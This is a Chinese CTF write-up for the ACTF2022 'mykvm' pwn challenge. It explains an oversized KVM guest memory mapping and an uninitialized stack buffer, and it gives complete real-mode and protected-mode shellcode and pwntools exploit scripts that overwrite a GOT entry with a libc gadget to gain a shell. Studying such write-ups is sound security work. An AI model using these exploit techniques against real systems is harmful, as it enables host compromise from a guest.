ACTF2022 pwn mykvm题解

  • 题目描述:KVM is funny, enjoy it!
  • 题目附件:mykvm.zip

分析

先看一下main函数中的代码逻辑,

1
2
3
4
5
6
7
8
9
10
11
12
puts("your code size: ");			//待输入code的大小
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] <= 0x1000 )
{
puts("your code: "); //输入准备好的code,将在kvm虚拟机中运行
read(0, buf, nbytes[0]);
*(_QWORD *)&nbytes[1] = sub_400F28((__int64)"guest name: ");
*(_QWORD *)&nbytes[1] = sub_400F28((__int64)"guest passwd: ");
sub_400B92(buf, nbytes[0]); //函数内部通过ioctl调用实现kvm虚拟机执行上面输入的code并返回
*(_QWORD *)&nbytes[1] = sub_400F28((__int64)"host name: ");
memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);
puts("Bye!");

做题之前并没有研究过KVM的机制,于是搜了一下跟kvm相关的ctf题,发现了这一篇:Confidence2020 CTF KVM。按照这个题目中的漏洞点,很快在mykvm中也找到了类似漏洞。如下,sub_400B92()函数中memory_size的值设置的相当大,于是我们能在kvm虚拟机中越界访问到host机的内存。

1
2
3
4
5
6
7
8
9
v8.slot = 0;
v8.flags = 0;
v8.guest_phys_addr = 0LL;
v8.memory_size = 0x40000000LL;
v8.userspace_addr = (int)((_DWORD)&unk_602100
- (((((unsigned int)((int)&unk_602100 >> 31) >> 20) + (unsigned __int16)&unk_602100) & 0xFFF)
- ((unsigned int)((int)&unk_602100 >> 31) >> 20))
+ 4096);
ioctl(v4, 0x4020AE46uLL, &v8);

不过,unk_602100在bss段,在kvm虚拟机中我们只能往后访问,即可能访问到host进程的堆空间。同时,该题对kvm虚拟机的设置,要求我们的代码从实模式开始运行。因此,要么我们在实模式有限的访存空间(1M)下进行利用,要么想办法进入保护模式进行利用。

由于对实模式和保护模式的切换以及页表的设置不熟,且堆的地址范围在一定概率下会跟kvm能访问的空间(1M)有重合,于是我们就直接在实模式下完成了对该题的利用。

越界能做什么?

首先,在bss段的最后,有一个指针变量,是memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);的目的地址,也就是说我们能写host进程空间的任意地址,长度为0x20。

1
2
3
4
5
6
7
8
9
10
11
.bss:0000000000602100 unk_602100      db    ? ;               ; DATA XREF: sub_400B92+8C↑o
.bss:0000000000602100 ; sub_400B92+93↑o
.bss:0000000000602101 db ? ;
.bss:0000000000602102 db ? ;
.bss:0000000000602103 db ? ;
.bss:0000000000602104 db ? ;
.............
.bss:000000000060A100 ; void *dest
.bss:000000000060A100 dest dq ? ; DATA XREF: main+7E↑w
.bss:000000000060A100 ; main+85↑r ...
.bss:000000000060A100 _bss ends

然后,再往后写就是host进程的堆空间了,这部分需要动态调试查看其内容,找到对我们有用的部分。

(调试过程省略,该环境使用的lib版本较低,是libc2.23,存在fastbin)

  • 在堆空间中有一些libc的地址,利用这个可以在code中计算libc基址。

  • 我发现,如果”guest name: “,”guest passwd: “和”host name: “都输入相同长度字符串”xxxx”时,三者分配的是同一个chunk。且chunk的后8个字节存着一个固定的libc地址。

错位写入

通过以上分析,我们具备了如下能力:

  • 任意地址写(目的地址可控,写入内容可控,长度为0x20)

  • 已知libc基址

所以,我们可以覆写host进程的got表,将puts("Bye!")打印劫持成执行一段gadget。

但是,由于memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);中nbytes[1]的第一个字节一定会被我们的输入覆盖,所以如果将dest地址改成puts@got的话,无法写成目标gadget地址。幸好我们能写0x20大小的内容,因此通过错位写入,就能达到目的。

ps. 由于泄露的libc地址是保存在shellcode的执行环境中的,并未泄露给我们,因此需要在我们的shellcode中将gadget地址写到nbytes[1]对应的堆块中。这样也能达到hook got表项的目的。

其他

做题过程中发现的一些认为重要的点。

buf未初始化

main函数中的buf没有初始化,所以我们将"your code size: “的大小设置为最大值4096时,栈中残留数据会被带入我们运行的kvm虚拟机可访问空间内。这里面存在libc相关的地址,也是泄露libc基址的一种方法。

1
2
3
4
5
6
7
8
9
10
11
12
 __int64 result; // rax
_DWORD nbytes[3]; // [rsp+4h] [rbp-101Ch] BYREF
char buf[4104]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v6; // [rsp+1018h] [rbp-8h]
.......
puts("your code size: ");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] <= 0x1000 )
{
puts("your code: ");
read(0, buf, nbytes[0]);
........

readline是什么

sub_400F28()这个函数被调用了三次,两次在kvm执行代码前,一次在kvm执行代码后。这个函数中使用了readline,关于这个函数,简单解释如下。

readline() 的参数是一个字符串,调用函数的时候会在屏幕上输出,这个函数会读取一行输入,然后返回一个指向输入字符串的指针,readline 会为输入的字符串动态分配内存,所以使用完之后需要free掉。——来自readline库的简单使用

1
2
3
4
5
6
7
8
9
10
11
12
void *__fastcall sub_400F28(__int64 a1)
{
if ( ptr )
{
free(ptr);
ptr = 0LL;
}
ptr = (void *)readline(a1);
if ( ptr && *(_BYTE *)ptr )
add_history((__int64)ptr);
return ptr;
}

所以这里会使用堆,且堆的大小和内容,我们可控。

调试

注意点:

  • host需要开启kvm支持
  • docker container启动命令需要加--privileged,使docker中能调用到对应的功能
1
2
3
4
5
docker container run --privileged --rm -p 8000:8888 -p 1234:1234 -d  mykvm:latest
docker container exec -it <container-ID> /bin/bash
# 本地发起一个连接并停住(raw_input(), input())
gdb server :1234 --attach <pid>
# 本地起gdb连接(target remote :1234)

利用

shellcode编写

汇编代码详细解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
    .code16gcc			; 指明编译的程序是运行在16位x86实模式下的
jmp main ; 跳转到main处开始运行
.rept 40
.byte 0x00
.endr ; 这三条是为了适配gadget的条件[rsp+0x30]==null而准备的
main:
mov eax,[0x7100]
sub eax,0x603000
cmp eax,0xfd800 ; 从0x7100(0x60a100)处读取dest中存放的堆地址,判断目标读写堆地址是否在1M空间内
jb next ; 在1M范围内就进入next继续利用
mov ebx,0
div eax,ebx ; 不在1M范围内则通过除零异常重新开始

next:
mov ebx,[0x568] ; 由于buf未初始化,当采用0x1000最大长度拷贝时,可以将栈中的地址信息拷贝到kvm虚拟机可访问的内存中,0x568处存放了一个有用地址,通过偏移可以准确计算libc基址
add ebx,0x2270cf
mov [0x7200],ebx ; libc基址的低32位保存在0x7200处
mov ebx,[0x56c]
mov [0x7204],ebx ; libc基址的高32位保存在0x7204处

mov ebx,[0x7100]
add ebx,0x27e0
mov [0x7220],ebx ; 将目标heap chunk的地址存到0x7220处

mov edx,[0x7200]
add edx,0x4527a
push edx ; 计算gadget低4字节的实际地址,暂时保存在栈上
add ebx,0x8 ; 目标heap chunk是0x10字节大小的,前8个字节在readline()时会被覆盖,所以这里使用后8个字节存放gadget的地址
sub ebx,0x603000 ; 换算成kvm虚拟机中可以访问的地址
mov eax,ebx
shr eax,16
shl eax,12
mov ds,eax ; 由于目标地址有20位,而x86实模式下地址总线只有16位,因此需要借助ds寄存器实现访存操作。
pop edx
mov ds:[bx],edx ; 把gadget的低4个字节拷贝到了目标堆块对应位置,由于堆块中正好有libc的高4字节信息,省了一次拷贝操作

mov ebx,0x602020
mov eax,0 ; 将ds寄存器清空,因为接下来要访问的地址不超过16位
mov ds,eax
mov [0x7100],ebx ; 将dest存放的内容改成got表项(putchar)地址,以达到错位将puts的got表项改成了gadget地址的目的

hlt ; hlt指令跟除零异常的返回不一样,便于在python脚本中区分

在写shellcode时,由于对x86实模式下的汇编规则不熟,遇到些坑点。如:

  • eax用于访存和add指令相关的操作时无法正常工作
  • ds寄存器的设置与取消
  • edx中存放的值间隔几条指令后可能被清零,而ebx不会

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("20.247.110.192",10888)
io = remote("127.0.0.1",8000)

shellcode = asm('''
.code16gcc
jmp main
.byte 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

main:
mov eax,[0x7100]
sub eax,0x603000
cmp eax,0xfd800
jb next
mov ebx,0
div eax,ebx

next:
mov ebx,[0x568]
add ebx,0x2270cf
mov [0x7200],ebx
mov ebx,[0x56c]
mov [0x7204],ebx

mov ebx,[0x7100]
add ebx,0x27e0
mov [0x7220],ebx

mov edx,[0x7200]
add edx,0x4527a
mov [0x7228],edx
push edx
add ebx,0x8
sub ebx,0x603000
mov eax,ebx
shr eax,16
shl eax,12
mov ds,eax
pop edx
mov ds:[bx],edx

mov ebx,0x602020
mov eax,0
mov ds,eax
mov [0x7100],ebx

hlt
''')

c = 1
while c:
#raw_input()
io.recvuntil("your code size: ")
io.sendline('4096')

io.recvuntil("your code: ")
io.sendline(shellcode)

io.recvuntil("guest name: ")
io.sendline('bbbb')

io.recvuntil("guest passwd: ")
io.sendline('cccc')

io.recvline()
ret = io.recv(0x1b)
if "mykvm" not in ret:
c = 0
print("got it!!!")
#raw_input()
io.sendline("dddd")
# io.recvuntil("host name: ")
# io.sendline('dddd')
break

# except:
io.close()
io = remote("127.0.0.1",8000)
# io = remote("20.247.110.192",10888)

io.interactive()

精简版exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("20.247.110.192",10888)
io = remote("127.0.0.1",8000)

shellcode = asm('''
.code16gcc
jmp main
.rept 40
.byte 0x00
.endr # 为gadget environ为null做准备
main:
mov eax,[0x7100]
sub eax,0x603000
cmp eax,0xfd800
jb next
mov ebx,0
div eax,ebx # 暴破出能访问的堆地址(1M以内)

next:
mov ebx,[0x568]
add ebx,0x2270cf
add ebx,0x4527a
push ebx # 保存gadget实际地址的低4字节

mov ebx,[0x7100]
add ebx,0x27e0 # 目标heap chunk,即memcpy(dest, *(const void **)&nbytes[1], 0x20uLL);的第二个参数

mov ecx,0x602020
mov [0x7100],ecx # 将memcpy第一个参数替换成got表地址

add ebx,0x8
sub ebx,0x603000
mov eax,ebx
shr eax,16
shl eax,12
mov ds,eax
pop edx
mov ds:[bx],edx # 将gadget地址写入目标heap chunk

hlt # hlt,区分div 0,暴破
''')

c = 1
while c:
io.sendlineafter("your code size: ",'4096')
io.sendlineafter("your code: ",shellcode)
io.sendlineafter("guest name: ",'bbbb')
io.sendlineafter("guest passwd: ",'cccc')

io.recvline()
ret = io.recv(0x1b)
if "mykvm" not in ret:
c = 0
print("got it!!!")
io.sendline("dddd")
break

io.close()
io = remote("127.0.0.1",8000)
# io = remote("20.247.110.192",10888)

io.interactive()

续:进入实模式的利用

官方WP

官方的方法是通过进入保护模式,使shellcode能访问到更多的内存,然后泄露libc地址,最后写got表及dest(“/bin/sh”),达到执行system("/bin/sh")的目的。(应该是出于gadget有environ的限制,所以未使用gadget直接get shell)

从实模式进入保护模式

关于如何从16位实模式进入32位保护模式,可以参考这篇文章—— [原创]16位实模式切换32位保护模式过程详解.

从实模式进入32位保护模式需要完成如下几件事情:

  1. 屏蔽中断
  2. 初始化全局描述符表(GDT)
  3. 将CR0寄存器最低位置1
  4. 执行远跳转
  5. 初始化段寄存器和栈指针

以下汇编代码便是完成上述功能的一个框架,可以根据需求在 ; your function code 处编写在保护模式下运行的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
org 0 
cli

lgdt [gdt_descriptor]

mov eax, cr0
or eax, 0x1
mov cr0, eax
jmp 08h:PModeMain

[bits 32]
PModeMain:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ax, 0x18
mov ss, ax
mov ebp, 0x7c00
mov esp, ebp

; your function code

hlt

gdt_start:
gdt_null:
dd 0
dd 0
gdt_code:
dw 0xffff ; Limit (bits 0-15)
dw 0x0 ; Base (bits 0-15)
db 0x0 ; Base (bits 16-23)
db 10011010b ; Access Byte
db 11001111b ; Flags , Limit (bits 16-19)
db 0x0 ; Base (bits 24-31)
gdt_data:
dw 0xffff ; Limit (bits 0-15)
dw 0x0 ; Base (bits 0-15)
db 0x0 ; Base (bits 16-23)
db 10010010b ; Access Byte
db 11001111b ; Flags , Limit (bits 16-19)
db 0x0 ; Base (bits 24-31)
gdt_stack:
dw 0x7c00 ; Limit (bits 0-15)
dw 0x0 ; Base (bits 0-15)
db 0x0 ; Base (bits 16-23)
db 10010010b ; Access Byte
db 01000000b ; Flags , Limit (bits 16-19)
db 0x0 ; Base (bits 24-31)
gdt_end:

gdt_descriptor:
dw gdt_end - gdt_start - 1
dd gdt_start

尝试写写

以本题为例,我们尝试写堆空间(超过1M访存),如下是功能代码:

1
2
3
mov eax, [0x7100] 
sub eax, 0x603000
mov dword [eax], 0x52525252

编译命令:

1
nasm test.asm -o test.bin

脚本中加载读取test.bin的汇编内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

io = remote("127.0.0.1",8000)

with open("./test.bin", "rb") as f:
shellcode = f.read()

raw_input() # for debug

io.sendlineafter("your code size: ",str(len(shellcode)))
io.sendafter("your code: ",shellcode)
io.sendlineafter("guest name: ","a"*0x4)
io.sendlineafter("guest passwd: ","b"*0x4)
io.sendlineafter("host name: ","c"*0x4)

io.interactive()

结果如下,对应的堆地址处被写为52 52 52 52,且hex(0x1c05010-0x603000) = 0x1602010距离超过1M。说明此时在32位保护模式下,我们能直接访存的空间更大了。

1
2
3
4
5
gef➤  heap chunks
Chunk(addr=0x1c05010, size=0x30, flags=PREV_INUSE)
[0x0000000001c05010 52 52 52 52 00 00 00 00 00 00 00 00 00 00 00 00 RRRR............]
Chunk(addr=0x1c05040, size=0x20, flags=PREV_INUSE)
[0x0000000001c05040 67 75 65 73 74 20 70 61 73 73 77 64 3a 20 00 00 guest passwd: ..]

保护模式下的利用

进入保护模式后,由于访存能力更强,我们可以省略暴破的环节,同时不用栈中的libc地址了,而是直接取堆空间中存在的libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
; ......
%rep 50
db 0x00
%endrep

[bits 32]
PModeMain:
; ......

mov ebx, [0x7100]
add ebx, 0x1b48
sub ebx, 0x603000
mov edx, [ebx]
sub edx, 0x3c51a8
add edx, 0x4527a ; gadget addr

push edx

mov ebx, [0x7100]
add ebx, 0x27e0 ; target &nbytes addr
add ebx, 0x8
sub ebx, 0x603000 ; memcpy arg1 -> &nbytes

pop edx
mov [ebx], edx ; gadget to &nbytes

mov ecx, 0x602020
mov [0x7100],ecx ; memcpy arg0 -> 0x602020

将以上汇编合入框架中,编译成test.bin,攻击脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

# io = remote("20.247.110.192",10888)
io = remote("127.0.0.1",8000)

with open("./test.bin", "rb") as f:
shellcode = f.read()

raw_input() ; for debug

io.sendlineafter("your code size: ",str(len(shellcode)))
io.sendafter("your code: ",shellcode)
io.sendlineafter("guest name: ","a"*0x4)
io.sendlineafter("guest passwd: ","b"*0x4)
io.sendlineafter("host name: ","c"*0x4)

io.interactive()

可成功获取shell。

汇编那一段,可以更简化,CS和DS段是必须的,其他段可以删除。见test.asm

kvm跟host的交互

in/out指令,官方WP中利用这个指令泄露libc地址,我的方法中未使用

汇编语言中OUT和IN的用法

【asm基础】汇编指令之in/out指令

【KVM】KVM学习—实现自己的内核

本题中,利用out指令返回一个字符"W",脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch="amd64",os="linux",log_level="debug")

io = remote("127.0.0.1",8000)

shellcode = asm('''
.code16
mov al, 0x57
mov dx, 0x217
out dx, al
mov al, 10
out dx, al
hlt
''')
print(type(out1)) # str
print(out1)
print(repr(out1)) # "\xB0\x57\xBA\x17\x02\xEE\xB0\n\xEE\xF4"
# repr()方法可以将读取到的格式字符,比如换行符、制表符,转化为其相应的转义字符

io.sendlineafter("your code size: ",str(len(shellcode)))
io.sendafter("your code: ",shellcode)
io.sendlineafter("guest name: ","a"*0x4)
io.sendlineafter("guest passwd: ","b"*0x4)
io.sendlineafter("host name: ","c"*0x4)

io.interactive()

debug信息证明在保护模式下成功执行了shellcode

1
2
3
4
5
[DEBUG] Received 0x1e bytes:
'bbb\n'
'W\n'
'KVM_EXIT_HLT\n'
'host name: '

续:什么是实模式和保护模式

x86下,系统上电经过bios自检后进入实模式。

实模式下采用段寻址方式,可直接访问物理地址。此时的通用寄存器位宽只有16bit,借助段寄存器(cs,ds,ss,es)可将寻址能力扩展至1M范围。(linear address = segment << 4 + offset)

实模式、保护模式、三种地址、分段、分页

实模式显然无法满足计算机日渐增长的访存需求,于是出现了保护模式。不仅扩展了访存能力,同时也提高了安全性。

保护模式中引入分段和分页的概念。

逻辑地址 –[分段]–》 线性地址 –[分页]–》 物理地址

  • 分段

x86段寄存器和分段机制

画了一张表,理清了段选择子,GDTR,GDT之间的关系。(注意:这张图是针对x86 32位架构的。x86 64架构下,GDTR中基地址是64位)

image-20220706165811870

  • 分页

x86的分页机制和Linux实现

CR0寄存器的PG标识等于1时,表示启用分页机制

CR3 页目录基地址寄存器PDBR(Page-Directory Base address Register)

参考

.rept count

x86 registers

kvm (vm escape, kvm, long mode)